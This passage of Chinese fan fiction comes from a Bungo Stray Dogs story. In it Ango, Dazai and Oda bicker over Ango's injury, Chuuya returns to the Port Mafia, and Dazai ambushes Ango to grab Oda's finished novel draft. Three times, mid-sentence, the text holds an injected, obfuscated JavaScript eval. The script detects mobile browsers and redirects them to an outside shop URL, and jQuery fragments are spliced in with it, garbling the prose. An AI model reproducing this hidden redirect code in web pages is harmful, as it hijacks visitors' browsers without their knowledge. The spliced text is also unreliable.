太宰当然是认真的,尤其是这个世界的还是那个对朋友死亡有PTSD的首领宰。 他能为了阻止织田作之助的死亡直接选择不和对方相识,当然也能为了阻止安吾的失踪拼尽全力。 但问题是迄今为止主世界也没调查出来安吾失踪的原因到底是什么,而其他世界的时间线又比主世界要慢上许多。 不知道幕后黑手是谁的首领宰决定一网打尽,所以他翻遍了所有平行世界里和安吾不对付的人,然后制作了一个“死亡笔记”已经开始一个个地下手了。 安吾手里的名单就是第一步,居然在本来占尽先机的会谈里拖了后腿不说,还让政府在黑手党面前颜面尽失,哪怕这一次没办法彻底搞死这些人,以后这些官员的仕途肯定也就到此为止了。 失势之后这些人就好对付多了,随便安排几个意外就能解决掉,反正只要时间间隔的长一点,也不会有人特意来查一个贪污犯是怎么死的。 除此之外还有那些安吾曾经卧底过的组织,处分过的下属,查处过的异能团体等等,真是的,安吾怎么得罪了这么多人啊?难道这就是成为清廉公务员的代价吗? 太宰一边写名字一边在心里感叹,深觉自己未来任重而道远。 虽然这不是出自安吾的本意,但是阴差阳错地太宰的确很久没有时间规划他那个五步跳楼计划了。 时间回到现在,迎着安吾看过来的那个惊疑不定的目光,太宰还是没忍住笑着看回去:“怎么了?难道我们舍己救人的清廉公务员被同僚们的累累恶行吓到了吗?” 种田山头火:…… 你这个黑手党能不能说话注意点,谁跟你“我们”? 心里火上加火的种田山头火暗暗吸一口气保持住风度,后面的解释不知道是说给太宰治还是说给安吾听的: “这些人犯下的罪当然不会就这么算了,很快他们就会因为贪污罪被送上法庭,迎接他们的是穷困潦倒的牢狱生活,那些补助后续也会按时发放。” 安吾又开始低着头默默做会议记录,太宰对于种田山头火的补救措施不置可否,他百无聊赖地用食指弹一下桌上的茶杯,主动把话题拉了回来: “后续要怎么处理那是你们的事了,种田先生。眼下还是先谈谈我们之间的问题吧。” 被握住把柄的异能特务科最后当然没能占到任何便宜,会谈的结果就是港口mafia象征性地被查处了几条走私线路而已,对黑手党来说根本不痛不痒,孤儿院这件事就这么被轻飘飘地接过去了谁也没再提。 会议结束之后,满怀期待而来吃了个败仗回去的种田长官也没有了再和对方寒暄客套的心情,在会议记录上签署了自己的名字之后,他直接起身告辞: “想必我们之间已经没有什么事要谈了,太宰君。这艘游轮明天上午就会靠岸,你们以后好自为之吧。” 太宰治也笑眯眯地道别,就好像他只是过来进行了一次放松的度假:“那就多谢款待了,种田先生,祝您旅途愉快。” 然后他看向站在后面的坂口安吾:“晚安,舍己救人的公务员先生,祝您做个好梦~” 坂口安吾:…… 原来如此,彻底失败的我们的确是不用加班了呢,原来太宰君昨天是这个意思。 已经养成了生物钟的坂口安吾准时地在十一点躺在了床上,第二天游轮也果然如计划那般地准时靠岸了。 种田山头火步履匆匆地准备下船,他昨天几乎一晚上没睡就在想名单里的那些人要怎么处置,如今已经计划出了个大概,正着急回去找那些人算账: “安吾,我今天下午,不,下船之后我立刻去一趟东京,这边的事就暂时交给你了,记得名单的事一定不要走露风声,除此之外把那些资料整理核实一下,先挑出主犯和几个……” 说到一半,他忽然想起来安吾身上的伤还没好利索呢,于是种田长官又转过头:“安吾,你身上的伤怎么样了?能工作吗?” “您不必担忧,种田长官。”进入工作状态的坂口安吾十分专注,回话的同时手上已经在随身携带的记事本里列出了工作计划:“伤口前天已经拆线了,现在完全不影响行动。” “那就好。”种田长官放下心来,正准备继续安排一些工作,忽然从身后传来一道懒洋洋的声音。 “果然异能特务科的社畜很辛苦呢,伤还没好全就去上班了吗?” 种田长官皱着眉头回头去看,果然是太宰治那个让人琢磨不透的家伙,他穿着一件黑色大衣站在甲板上,脖颈上的红色围巾在海风的吹拂下轻轻摇摆,脸上的表情明明带笑,眼睛里却又莫名藏着一股淡淡的火气,说出的话阴阳怪气: “被白虎拍了一掌居然这么快就活蹦乱跳的,你们这样我总觉得敦君似乎被小看了呢~” 种田山头火:…… 这个□□首领怎么回事?从昨天开始怎么就非要和安吾过不去? 安吾哪里惹到他了吗?难道是因为孤儿院的事觉得被安吾折了面子? 不能眼睁睁看着自己的学生一而再地被针对,种田山头火替安吾开口了:“我们异能特务科的人就不劳您费心了,太宰君。 有这个搭话的功夫还不如回去好好管管你的那些下属,免得哪天又把什么地方围起来了。” 碰了个软钉子的太宰治不说话了,转身离开的背影怎么看怎么带上了负气的意味。 “安吾,你最近小心点吧,尽量不要自己一个人行动。”种田山头火看着太宰的背影眉头不自觉皱紧:“他可能记恨上你了。” 能被太宰治记恨上的人结局一般不会太好。 越想心里越放心不下,种田山头火拿出手机开始发信息:“我再多安排几个人跟着你,这几天出门一定小心。” 不知如何开口的坂口安吾:…… 太宰君的确是“记恨”上我了,可能是在气我伤还没好就要去工作吧。 唉,感觉这下很难哄好了,晚上的时候他和织田作先生还不知道要怎么折腾我呢。 愁容满面的师徒俩站在甲板上对视一眼,不约而同地叹了一口气。 果然,当天晚上安吾刚进入会议室,就迎来了织田作先生和太宰君的“兴师问罪”。 “安吾,我都知道了!你明明伤还没好但是却打算背着我们偷偷工作!”太宰治率先发难了,他开始义正言辞地指责安吾不守信用: “说好的长假呢?说好的只是去主持个会议呢?安吾说话不算话,他欺骗了一心相信他的我!” 亏我还速战速决地把会谈缩短在了一天之内,结果安吾居然在这之后就要正常去上班了吗?太宰治觉得自己受到了莫大的欺骗。 织田 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018644|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作之助也投去了不赞同的目光:“安吾,你背着我们偷偷去上班,还欺骗我们,确实有点过分了。这下D这么生气,你必须要受点惩罚才行。” “就罚安吾一个月不许上班!”太宰治一拍桌子:“只有这样我才会原谅安吾!” “那就没办法了呢。”织田作之助语气平淡地感叹:“安吾你就答应D吧。” 看着他们俩一唱一和根本插不上话的安吾:…… 这个架势,不知道的还以为我犯了什么滔天大罪。 心累地叹一口气,安吾试图和太宰君还有织田作先生讲道理:“D先生,织田作先生,撒谎的事是我不对,但是我前天伤口就拆线了,再过几天伤口就彻底愈合了,真的没有必要再躺下去了。” 这个说法第一时间就遭到了织田作之助的反驳:“安吾,伤口拆线只是代表皮肤表层的伤口愈合,但是深处肌肉和血管的愈合远没有这么快。当时你肩膀的伤口都要能看见骨头了,不可以因为拆线了就掉以轻心。” 太宰非常关心地追问:“那要多久深处的伤口才会完全长好?” 织田作之助估摸了一下安吾的伤势:“大概三个月左右。” 坂口安吾:…… “你们两个,想让我失业可以直说。” 谁家好人放假一放放三个月啊?等我回去都查无此人了好吗! “安吾,没关系的,异能特务科那种只会压榨社畜的地方有什么好,你还可以去找其他的工作!”说到这里太宰治忽然脑海里灵光一闪: “对了,不如你跳槽去武装侦探社吧?那里的工作就很轻松,安吾可以把自己的工作都推给其他人,这样你就可以带薪休假三个月好好养伤了!” 坂口安吾忍不住吐槽:“不要随随便便就把自己的工作推给别人啊!而且还打着养伤这样的借口公然摸鱼,这种同事也太讨人厌了吧!不出一个月我肯定就会被扫地出门!织田作先生你说是吧?” 织田作之助还真的认真思考了片刻,然后他抬起头:“不会,与谢野医生会把你治好,然后你就不能用养伤做借口摸鱼了。” 坂口安吾:…… 那我还不如带着伤去工作。 “对了,我还可以去拜托与谢野医生。”织田作之助终于想起了万能的请君勿死:“我可以拜托她治疗安吾,然后安吾就不用带伤去工作了。” “不,不用了吧织田作先生。”坂口安吾的额头开始冒虚汗:“异能特务科请动她一次也挺麻烦的,如今种田长官又不在,我还是……” “没关系,不用异能特务科请。”织田作之助头上的呆毛愉快地晃悠了一下:“我可以去拜托与谢野医生,安吾不用担心,之后我会还她人情的。” “还是不用麻烦了吧?我的伤都快好了……” 针也缝了,伤也养了,线也拆了,如今马上就要好了又去找与谢野小姐?我这不是遭二遍罪吗? “安吾,你只有在家老实养伤和去找与谢野医生这两个选项哦~”终于“大仇得报”的太宰治发出了恶魔低语: “快说选哪一个?如果敢偷偷跑掉的话我就联合织田作一起去异能特务科把你绑到外国,我们三个一起度假三个月再回来!” 安吾:…… 在长痛之后居然还要去选择一遍短痛,这世界上还有比我更倒霉的人吗? 34.第 34 章 先不提第二天一早就被织田作堵门的安吾在武装侦探社到底经历了一番怎样惨无人道的折磨才被放回去上班,今天的港口mafia又发生了一件大事。 那位大名鼎鼎的重力使,横滨战力天花板,港口mafia唯一的干部中原中也终于结束他漫长的出差生活回来了。 来不及回自己的家去整理一番,也来不及去找相熟的好友和下属去喝酒聚会,飞机降落在机场之后他立刻马不停蹄地赶回港口mafia去找太宰那个家伙去汇报工作。 人手不足的时候是会这样的,太宰治作为首领他把自己一个人当五个人用,而中原中也作为干部也跟着忙成了两个半人。 他这一路上风尘仆仆,连口水都来不及喝,紧赶慢赶终于赶到了大楼的顶层,他这才发现这里似乎有些许不对。 “这外面的人都哪去了?怎么就剩了你们几个?”中原中也来回扫视了一眼外面空空荡荡的办公室:“秘书呢?还有那个白虎小子跑哪去了?” 办公室里仅剩的几个值夜班的守卫你看看我我看看你,最后还是队长主动站了出来:“中原干部,现在才早上六点。” 中原中也一头雾水:“所以呢?” “所以,所以……秘书还有其他人都还没上班啊……” 谁家打工人早上六点就来上班了?首领都八点才起下面的人来那么早干什么? 于是不知道从什么时候起大家都八点半上班了,等到首领洗漱完毕吃完早饭正好八点半,这配合地多完美啊! 早就在不知不觉间被太宰治早睡晚起的作息时间影响的值班队不觉得有什么不对,但是消息严重滞后的中原中也却怀疑自己是不是听错了: “哈?你们在搞什么啊?早上六点居然没有人在岗?就剩了你们几个值班的?”他说出来都觉得荒谬:“那首领要找谁怎么办?难道还要首领将就你们这些人的作息吗?!” 他一激动声音就忍不住飙高了一点,吓得值班队长赶忙把食指竖在嘴边:“中原干部!中原干部您小点声,首领还在休息呢!” “休息?你是说太宰那个家伙居然还知道休息?”中原中也惊得帽子都掉了,压低声音不可置信地反问:“真的假的?太宰真的在休息?他休息多久了?” 他不是每天只休息一个小时然后就一直工作直到撑不住直接昏迷吗?中原中也都开始担心他什么时候会猝死了,结果这个人竟然还知道休息? “首领一般从晚上11点左右休息到第二天上午八点。”队长说着低头看了一眼时间:“还有两个小时首领才起床,中原干部,您要不先去休息室眯一会?” 反倒被衬成了职场卷王的中原中也:…… 在我出差的这几个月里到底发生了什么?太宰那个混蛋被外星人夺舍了吗? 虽然心里的疑问一个接着一个,但是眼下太宰睡了他也不能冲进去把人薅起来,所以中原中也捡起帽子拍拍灰尘,直接转身往休息室走去:“时间到了叫我。” 白得的睡觉时间不用白不用,一会儿那条青花鱼醒了就没有什么休息的时候了。 时间来到八点的时候顶楼办公室里的人终于陆陆续续多了起来,小睡一觉的中原中也伸了个懒腰,这次秘书小银终于到岗了。 “首领起来了吗?我有欧洲那边的事要向他汇报。”中原中也说着低头看了眼时间,八点十五了,太宰那个家伙应该收拾的差不多了。 秘书小银手里捧着一个包裹正打算往首领办公室里送,听到中原干部的话她犹豫了一下,这个时候刚好办公室里的太宰治按了开门的按钮: “是中也吗?大清早就吵吵嚷嚷的,果然中也就像吉娃娃一样呢,一刻都安静不下来。” 不愧是太宰治,见面的第一句话就成功地点燃了中原中也的怒火。 不行,不行,冷静一下,这家伙是首领了,不能冲过去揍他……他在心里反复劝自己,直到感觉自己差不多冷静下来了,才终于深吸一口气走进办公室。 摘下帽子单膝跪地,行礼过后中原中也站起来,这才终于时隔几个月又一次看见如今的港/黑首领太宰治。 然后他就愣住了。 和之前每次见面的时候那个死气沉沉的样子不同,现在的太宰治眼角眉梢都放松地舒展开,气色看上去比过去也好上许多,他动作轻快地坐到椅子上,连着办公椅转了一圈之后,才开始拆开包裹一样样拿出里面的早餐。 分别是切成两小块三角形的三明治,一小盘煎香肠,洗好的一小碗小番茄还有一盒牛奶。 营养均衡,而且看起来卖相也不错,制作简单方便,是打工社畜必备的早餐便当。 太宰治先是拿起一块三明治咬了一口,然后拿起吸管插进牛奶盒里,喝了一口牛奶顺下口中的食物,他似乎终于想起来那里还站着一个中原中也。 “就算你这么眼巴巴地看着我,我也不会把早餐分给你的哦,中也。”就像是在故意挑衅似的,他又拿起三明治咬了一口:“顺便一提,等到八点半员工食堂就关门了呢,所以你只能等着中午再吃饭啦!” 明明是非常欠揍的语气和行为,但是中原中也却非常少有的没被太宰治激怒,他非常认真地上下打量了太宰治一遍,甚至还后退几步又观察了一下,然后才终于确认了一件事: 几个月时间不见,太宰治这条青花鱼居然胖了。 虽然不明显,但是确实长肉了,脸颊肉看着都稍微圆了一点,所以看上去才更加健康了。 再加上这个不知道为什么活泼了不少的精神状态,如今的太宰治和几个月前的样子大不一样,反而是有点像十五六岁中原中也刚认识他的时候。 不,比那个时候还要稍微成熟阳光一点。 到底发生了什么?几个月时间没见这条青花鱼怎么还返老还童了? 在中原中也陷入疑惑的时候太宰治已经吃完了的早餐,他拿起一颗小番茄放进嘴里:“中也?你还在线吗?从刚才开始怎么一直不说话?因为太饿已经把脑子消化掉了吗?” 终于回过神的中原中也:…… 很好,欠揍程度也同样反弹回去了呢。 犹豫片刻之后他没有去问太宰治的私事,转而说起了这次欧洲那边出差的工作内容:“关于枪支弹药的供应,那边的武器商……” 商谈完所有的工作时间已经过去了一个多小时,准备回去稍作休整的中原中也环顾一周:“那个游击队长呢?今天谁来负责守卫?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022921|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 毕竟想要太宰治脑袋的人那可太多了,所以基本上每天都会有一个异能力者负责保护首领的安全,在中原中也在的时候这项工作一般是他负责,但是他出差的时候这项工作一般是中岛敦来完成。 虽然太宰治也经常会想办法把人支走就是了,但是那个小子也不能来都不来吧? “你说敦君吗?他被我罚了,现在正在禁闭室反省中。”太宰治一脸无辜:“毕竟他刚给我惹了很大的麻烦,不罚他实在是说不过去。” “那个游击队长?惹了什么麻烦?” 太宰治给一边的小银使了个眼色,于是小银就用十分简短的语言给中原中也解释了一下前两天的风波。 “这不是捅了一个超级大的篓子吗?!”中原中也光是听一听就气得够呛:“那个家伙的确是该好好收拾一顿了!你怎么罚的?” “关禁闭去了,还罚了一年工资。”太宰治无聊地摆弄着桌上的钢笔:“反正就算受了刑他也可以瞬间自愈,我就不白费力气了。” “这就完了吗?”中原中也觉得罚的有点轻:“惹这么大祸,结果就关两天罚点钱?我看就应该把他一撸到底! 他这还当什么游击队长啊?这不是“一战成名”了吗?” “我也没办法啊,中也。我们组织现在实在是太缺人了!”太宰治趴在桌子上哀叹一声,指一指站着的中原中也: “五大干部就只任命了一个,剩下的活儿都是我这个首领在干,要是游击队长也下岗了,我总不能代替他去和敌人作战吧?还是你有更合适的人选?” 中原中也:…… 那谁让你当初篡位的时候把事做那么绝的!但凡红叶大姐还在也不至于这样! 太宰治装作没看见中原中也眼里的谴责,他像是才想起来一件大事一样:“对了!这么说来不是很奇怪吗?明明我是首领啊,中也才是干部!所以那些工作本来该你做的,我只是之前在帮你工作而已!” 说着,他对秘书小银比了个手势,小银心领神会,转身离开了片刻,再出现的时候她前面推着一个大型手推车,车里面装的文件一摞一摞,远看就像是一座小山。 “那这些工作就都交接给你啦!”太宰治脸上露出如释重负的表情:“要加油哦,中也,我会努力再培养几个新干部的~” 中原中也:…… 从进门到现在他已经忍过太宰两次了,这是第三次。 忍无可忍,无需再忍,出离愤怒的中原中也终于把什么首领部下的事情抛诸脑后,他举起拳头冲了过去:“你这个只会把工作推给别人的混蛋青花鱼!我看整个港口mafia最欠收拾的就是你!” “啊!中也你要干什么!你这是以下犯上!”太宰治抱着脑袋从椅子上跳下去,一个健步躲到小银身后:“竟然敢袭击首领!小银,快通知安保把这个小矮人抓起来!” “你这混蛋有种别往女人身后躲啊!小银,你起来!不收拾一下这个懒汉他就只会蹬鼻子上脸!”中原中也追过去,两个人围着小银开始秦王绕柱。 被当成柱子的小银:…… 挺好的,虽然有一点闹腾,但是总感觉自从首领活泼起来之后中原干部就也跟着活泼起来了呢。 35.第 35 章 虽然出离愤怒的中原中也毫不留情地收拾了太宰一顿,但是这个港口mafia的良心最后还是主动分走了一半的工作,骤然少了一半工作量的太宰治大喜过望,晚上视频会议的时候心情也格外轻松。 在这放松的时刻织田作之助那里又宣布了一个好消息:经过一个多月的日夜努力,他的小说初稿终于完成了。 “太好了,织田作先生!”坂口安吾第一个发表了祝贺:“距离新人奖评选还有将近两个月的时间,你还有充足的时间进行修改,审阅和出版!这下压力小了很多呢!” 而太宰治这次也终于可以正大光明地发出兴奋地欢呼了:“这么快就完成了,不愧是织田作!”他双手撑着桌子一下子站起来:“我们一定要好好的庆祝一下!今天晚上就改成喝酒聚会吧!” 比起两位友人的高兴和兴奋,织田作之助本人反而看上去有点犹疑:“但是,我对这篇小说并不是很满意,但是又怎么改都觉得不得要领,总觉得仅仅写出这样的作品是不够的……” “织田作先生总是对自己的作品很没有自信呢。”坂口安吾于是也跟着思考了一下:“也可能是经验不足造成的问题。不如把初稿寄给编辑修改一下?” 新手作家无论是文笔表达还是剧情把控上都很稚嫩,这时候如果有经验老道的编辑指导一下的话进步空间还是很大的。 织田作之助眉头微皱,沉默半晌还是摇头叹气:“应该不是写作经验的问题,是人物。无论怎么写都达不到我想要的那种效果……就连我自己都说不清楚问题到底出在哪里……” 说到这里,他苦恼地趴在桌子上用手指一指自己的脑袋:“我还以为这篇小说早就在我的脑海里完成了,没想到写出来看着却就像一个半成品一样……” 看到织田作之助竟然这么烦恼,安吾和太宰对视一眼,还是坂口安吾先开口了:“毕竟只是听织田作先生说我也很难搞清楚问题出在哪里呢,不然我明天去你那里一趟? 如果能看出问题最好,实在不行……我还认识几个比较厉害的作家和评论家,不如把稿子整理一下让他们帮忙看看?” 专业的人做专业的事,说不定他们一眼就看出来问题出在哪里了呢? “也只能先这样了。”织田作之助叹一口气:“但是总觉得这是我自己的问题,如今的半成品其他人很可能根本读不懂……” 太宰治紧随其后:“我也要看!我也要看原稿!织田作,也寄给我看嘛!我还可以给你写超长读后感哦!” “非常抱歉了,这位热心网友D先生。”坂口安吾腰杆笔直地推一推眼镜:“原稿只有一份呢,要寄给你也是等我校订打印出来之后了,所以你还是多等几天吧。” 太宰治:…… 可恶!明明都写完了为什么我还要多等几天啊?隔着网络也太不方便了吧! “那,那我要等几天?”太宰怨念的都要咬手绢了。 “织田作先生,你的小说什么体量?” “十几万字,是一篇中短篇小说。” “那要校对一段时间了。”安吾十分谨慎地估摸了一个非常保守的时间:“再加上可能的修改和打印……一个星期左右吧。” “太久了!一个星期太久了吧!”太宰治不干了,太宰治开始晃着电脑屏幕撒泼打滚:“我要看织田作的原稿!我要当织田作的第一个读者!” “D先生,这也是没办法的事吧,你今年到底几岁啊?”坂口安吾看着这样的太宰治叹一口气,最后还是妥协了:“这样吧,我明天拿到原稿先去复印一份,然后再寄给D先生,这样可以吗?织田作先生?” “可以是可以。”织田作之助估算了一下时间:“不过明天我有一个案子,所以下班时间会有一点晚,到时候应该没有复印店开门了,可能要等到第二天。” “第二天啊……我把原稿拿去单位复印吧,这样可以最大限度保护内容不外泄。D,我后天晚上把复印件寄给你,这下可以了吧?” 还是要多等一天的太宰治:…… 难道我之后就只能永远比安吾晚一天看到织田作的小说了吗?这种事情不要啊! 当天晚上,太宰治又一次怨气满满地被坂口安吾的睡前故事哄进了梦乡,在照例道过晚安之后,坂口安吾关闭会议室拿出了激活太宰君生存意志的五步计划书。 在第二条“改善太宰君那糟糕的生活习惯和精神状态”后面打勾之后,安吾开始写下计划的第三步。 三,帮助太宰君重新踏上寻找生命意义的旅程。 “安吾,生命的意义是什么啊?”世界意识又忍不住好奇开口了。 “我也不知道,世界意识先生。”安吾手里的钢笔在指尖轻轻转了一圈:“对每个人而言生命的意义都不尽相同,对很多现实主义的人而言这个东西也不是必须要有,但是对于太宰君那样心里倾向虚无主义的人,这个问题就很重要了。” “既很重要又不知道是什么……”世界意识语气茫然:“那我们要怎么找?” “这个问题旁人是代替不了的,只能靠太宰君自己才能找出答案,在我的世界织田作先生给了他一点建议,不过这是不同的世界,不同的太宰君,所以我觉得问题并不能一概而论。”安吾也同样非常苦恼。 “那你打算怎么做呢?” “既然是这个世界的太宰君,那么就听一听这个世界织田作先生给出的建议吧。”安吾盖上笔帽站起来,走到窗边看着外面的景色出神:“应该让太宰君和织田作先生更靠近一点,再近,更近……” 把他们两个的心紧紧搅拌在一起,这样太宰君就不会那么孤单了。 “说实话,这听起来……相当困难。”世界意识并不看好这个主意:“无论是太宰治还是织田作之助都是心防很重的类型,尤其是太宰治,强行靠近他总感觉会发生非常可怕的事情……” “我知道。”安吾看着外面淅淅沥沥下起来的小雨,细长的雨丝无穷无尽地从天上落下来,看得时间长了就像是连成了一条线,安吾很久没说话,他看着窗外的雨眼神逐渐变得虚空。 他的躯壳没变,但是里面似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030336|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻涌出了一些什么东西。 “所以想要叩开心门是需要敲门砖的,就像有个成语叫做抛砖引玉。”不知道过了多久,他看着窗外逐渐变大的暴雨喃喃自语。 真心只能用真心来换,想要他们两个打开心门,那我自己也必须掏出来一些真东西作为交换。 世界意识不知道为什么总觉得这样的安吾有点可怕,他瑟缩了一下并不存在的身体:“什,什么敲门砖?” 安吾却并没有回答,他转而问起了另一个问题:“世界意识先生,您可以在某些时候短暂地从我身上离开一段时间吗?” “当然可以,到时候跟我说一下就好。”世界意识痛快地答应下来,然后它犹豫了一下,还是没有继续追问安吾那个问题。 毕竟安吾刚才看起来简直就和太宰治一样可怕,那种问题的答案还是不要随便去打听了。 时间很快来到了第二天的深夜,终于办完了案子回到家的织田作之助把原稿交给了安吾:“抱歉让你等到这么晚,安吾。这个案子比我预想的还要麻烦一点。” “没关系,织田作先生。”即使一个人苦等了一个多小时安吾看上去也依然是那个一丝不苟的社畜,他把装着原稿的袋子仔仔细细地放进公文包里,确保万无一失之后才抬起头: “只要能尽早拜读到你的作品,等待的这点时间根本就不算什么。我会认真品味的,也可以写出绝对不输于D先生的读后感。” “如果可以的话,我还是希望你的读后感可以留到终稿的时候。”织田作之助非常自然地接受了即将会收到来自好友的读后感的事实,然后他看一看外面已经完全黑下去的天色: “我送你回去吧?我记得安吾的仇家还挺多的。” “不用麻烦了,织田作先生。”安吾已经从榻榻米上站起来准备离开了:“那些人完全抓不到我的行踪,这么多年我都习惯了,你不必担心我。” 然后坂口安吾再三推辞了织田作之助的护送请求,在彬彬有礼地告辞之后,他带着稿子转身离开了。 “总觉得安吾是不是太掉以轻心了?万一哪次出了什么事情……”织田作之助站在玄关,看着安吾逐渐远去的背影目露担忧。 织田作之助住的是武装侦探社分配给员工的职工宿舍,楼下几步路的位置就是停车场,坂口安吾抓紧手里的公文包,快步走到自己的车旁边打算尽快回家,就在手触碰到门把手的一瞬间,他习惯性地读取了一遍他停车离开之后这辆车的记忆。 然后他看到了黑暗里有一个蒙着面的神秘人偷偷摸摸地撬开了车锁,悄无声息地埋伏在车后座的位置。 安吾的表情和呼吸没有发生任何变化,他非常自然地松开手,装作是忘拿了什么东西的样子掉头往回走去。 就在他转身的瞬间,忽然有一个人从他背后一个猛冲扑了上来,坂口安吾因为转身站立不稳,被那人这一下子直接扑倒在地。 刚才看到的景象是歹徒故意做出来迷惑我的?他一直藏在车的右前方!倒在地上的安吾后知后觉地意识到自己上当了。 36.第 36 章 在被按到地上的瞬间,坂口安吾还以为对方会在下一秒通过麻醉或者重伤的方式让自己失去意识,毕竟对方都能利用自己的异能力设下圈套了,肯定会防着自己在挣扎间读取到了什么不该读取的记忆。 然而并没有,对方的下一个动作是骑在自己身上,然后就开始抢自己手里的公文包。 公文包里可是织田作先生珍贵的原稿!无论如何我都不会让你抢到!安吾一个激灵立刻抱紧怀里的公文包,然后另一只手顺势拽住对方的衣服想要搞清楚这个歹徒到底是谁派来的人。 他几次尝试发动异能力,但是却没有丝毫效果。 坂口安吾:…… 太宰君,所以竟然是你吗? 为了早一天读到织田作先生的原稿你竟然跑过来袭击我这个可怜的文职人员?你的良心就不会痛吗? 安吾的心里万分无语,但是又不能让太宰君发觉自己知道他的身份,所以只好继续抱紧手里的公文包奋力抵抗,另一只手努力推搡身上的人尝试反击。 反正以太宰君那个“中下的体术”怎么着也比我这个文职人员强,最后的结果肯定是他抢走…… 出乎意料地,身上的太宰君被他差点推下去,拽住他的袖子才稳住身形,然后趴下来继续抢夺他怀里的公文包。 坂口安吾:…… 安吾不可置信,安吾痛心疾首,安吾怒火中烧。 太宰君!你看看你这些年把自己身体折腾的,都虚成什么样子了啊! 虽然不想承认,但其实一直以来安吾才是他们三个里面身体最弱鸡的,还没成年的黑时宰也好,“体术中下”的武侦宰也好,无论是力量体术还是反应能力都比安吾强上几倍。 太宰甚至可以在靠近的瞬间夺过安吾身上的配枪,所以在赤手空拳的状态下安吾不可能是太宰治的对手。 但是首领宰!你看看你自己!这些年饭不好好吃,觉不好好睡,每天躲在办公室里从早坐到晚,结果现在身体素质已经和我一个水平了吗?! 安吾生气了,本来还想装模作样抵抗一下就把原稿给太宰治的他瞬间改变了主意,他弓着身子把公文包藏进怀里,然后伸出双手开始和太宰治你来我往地近身搏斗。 等到织田作之助打着手电筒从楼上急匆匆赶下来的时候看到的就是这样一番景象。 安吾和一个神秘人滚在草地上疯狂撕扯对方的衣服和头发,安吾的眼镜早就不知道跑到哪里去了,那个神秘人的面具也掉在一边没人理会。 他们两人身上的衣服七扭八歪地扣子都崩飞了几颗,头发也乱七八糟简直像个鸟窝,偏偏装着初稿的公文包还完好无损地夹在他们之间,挥舞着双臂发疯的两人谁也不敢用力去拽那个东西,所以这么长时间都是掰手腕一样冲着对方使劲儿。 如今骤然被手电筒一照,他们两个下意识抬头看过来,眼睛因为惊讶瞪得溜圆,配上那头乱糟糟的头发就像两只羽毛炸开的雏鸟。 菜鸡互啄,不知怎地织田作之助心里忽然就浮现出这个词来,他觉得还挺贴切的,于是向来宠辱不惊的他绷不住笑出了声。 “织田作先生!这个歹徒要抢劫你的书稿!”安吾的脸不知道是因为气愤还是羞耻涨得通红:“你怎么还笑啊?还不快来帮我制伏这个家伙!” “织田作!”那个神秘人也开口了,语气听起来理不直气也壮:“我只是来拿你本来就答应给我看的原稿而已!结果都怪安吾!他后来肯定猜出来我是谁了,但是他就是不放手!” “忽然冲出来抢劫的家伙谁知道你是谁啊!”安吾故意不承认:“而且你还是一个□□大佬,这不是更可疑了吗?” “安吾!你明明都见过我了居然还认不出我?那我以港/黑首领的身份命令你把书稿给我!” “我凭什么要听港/黑首领的命令?” “那我以D的身份命令你把书稿给我!” “这不是更奇怪了吗!为什么我非要听D先生的命令不可?” “因为我要当织田作的第一个读者!” “我也要……” “安吾,D。”眼看着他们两个说着说着又要互啄下去,看够了热闹的织田作之助终于开始劝架了:“如今你们两个不是都在这里了吗?我觉得你们可以一起看。” 太宰和安吾闻言对视了一眼,终于悻悻地放开了对方,安吾弯腰从草地里捡起眼镜带上,太宰拿起面具在手里握紧:“织田作,安吾,你们好,我是D。” 此时此刻他心里才终于生出几分忐忑:“我的名字是太宰治,是……港口mafia的首领。” 织田作之助对此没有什么特别的反应,他只是点点头,就像是很普通地结交了一个好朋友:“太宰,晚上好,以后我们也有机会面对面喝酒了。” 安吾比起太宰治的身份看起来更关心他的车子:“你刚才把什么人塞我车里了?要是留下陌生的指纹可就麻烦了。” “是一个在附近游荡的偷车惯犯而已。我稍微用了点手段把他引过来,不过在他进去之后迷药就生效了。”太宰治指一指躺在后座上明显陷入昏迷的陌生男人:“即使留下指纹也很好解释的,他只是一个普通的偷车贼而已。” 安吾打开车门把那个昏迷不醒的家伙直接拽出来扔到草坪上,然后靠在车门上看了眼手表:“经过这一番折腾已经快晚上十点了。太宰君,你接下来要怎么办?不回去吗?还是要看原稿?” 太宰治明显是偷跑出来的,再不回港口mafia真的不要紧吗? 太宰治对于织田作书稿的执念明显大于一切,他紧紧扒住安吾的车门:“在不看到书稿之前我是不会回去的!” “我知道!我知道了!请先松手,留下指纹就遭了……”安吾赶紧把太宰拉开。 织田作之助于是提议:“那你们先来我家看书稿?” 